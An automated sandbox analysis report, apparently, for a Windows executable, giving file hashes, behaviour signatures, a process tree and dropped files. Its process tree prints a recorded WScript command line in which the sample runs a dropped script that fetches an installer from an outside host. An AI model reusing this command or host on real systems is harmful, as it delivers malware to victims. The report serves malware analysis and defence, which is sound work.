Analysis

  • max time kernel
    112s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2022 04:27

General

  • Target

    abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe

  • Size

    184KB

  • MD5

    637487468a94dbb2b3bf499733cdb8b4

  • SHA1

    8b79078d5bd4e925849af68f12b94fdd5d9cd4eb

  • SHA256

    abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2

  • SHA512

    cb429b9085ff8b4f3d6dec21b91875d33f3afc03fb8be3e2863b8d1ac5b71145f4803abefa1a63d3c8bedbba239a5992c645df34cbb6f5e466278d32fd63b6a6

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO36:/7BSH8zUB+nGESaaRvoB7FJNndn/

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe
    "C:\Users\Admin\AppData\Local\Temp\abe1ad490598b5ae0cd98fb52f784e193deb388447fa1b87d761dc677743ceb2.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
      2⤵
      • Blocklisted process makes network request
      PID:3184
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
      2⤵
      • Blocklisted process makes network request
      PID:5044
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
      2⤵
      • Blocklisted process makes network request
      PID:4804
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
      2⤵
      • Blocklisted process makes network request
      PID:1424
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDD74.js" http://www.djapp.info/?domain=ynfWHqgkuU.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fufDD74.exe
      2⤵
      • Blocklisted process makes network request
      PID:4684
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 940 -s 1448
      2⤵
      • Program crash
      PID:4244
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 940 -ip 940
    1⤵
      PID:4228

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fufDD74.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

    • memory/1424-136-0x0000000000000000-mapping.dmp

    • memory/3184-132-0x0000000000000000-mapping.dmp

    • memory/4684-137-0x0000000000000000-mapping.dmp

    • memory/4804-135-0x0000000000000000-mapping.dmp

    • memory/5044-134-0x0000000000000000-mapping.dmp